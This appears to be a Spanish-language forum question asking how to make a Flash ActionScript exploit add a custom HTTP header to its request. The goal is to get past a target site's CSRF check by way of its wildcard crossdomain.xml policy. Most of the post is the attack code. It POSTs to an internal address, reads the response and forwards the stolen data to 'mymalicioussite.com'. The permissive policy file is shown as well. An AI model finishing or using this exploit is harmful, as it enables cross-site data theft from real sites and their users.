Tengo un objetivo que tiene un CrossDomain.xml débil pero evita el ataque CSRF al mirar uno de los encabezados HTTP personalizados. Encontré el siguiente ActionScript en un par de sitios web, que funciona perfectamente, excepto que no establece el encabezado.
Este ActionScript envía una solicitud POST a 'Target.htm' y la necesito para configurar cualquier encabezado personalizado, por ejemplo, Test-Header:
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLVariables;
import flash.net.URLRequestHeader;
public class FlashTest extends Sprite {
public function FlashTest() {
// write as3 code here..
//Target URL
var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123");
var readFrom:String = "http://192.168.100.4/Target.htm";
var readRequest:URLRequest = new URLRequest(readFrom);
readRequest.data = "ThisDoesNotMatter"
readRequest.method = URLRequestMethod.POST
readRequest.requestHeaders.push(header);
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try
{
getLoader.load(readRequest);
}
catch(error:Error)
{
}
}
private function eventHandler(event:Event):void
{
var sendTO:String = "http://mymalicioussite.com";
var sendRequest:URLRequest = new URLRequest(sendTO);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try
{
sendLoader.load(sendRequest);
}
catch(error:Error)
{
}
}
}
}
CrossDomain.XML en el destino:
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="true" />
</cross-domain-policy>
Cualquier ayuda sería apreciada. Un código de trabajo con solicitud GET en lugar de POST también funcionaría, ya que el objetivo acepta tanto las solicitudes GET como las solicitudes POST. Por lo que sé, la configuración de encabezados personalizados solo está permitida con la solicitud POST, pero una solicitud GET con cualquier encabezado HTTP estándar funcionaría para mí al menos por ahora.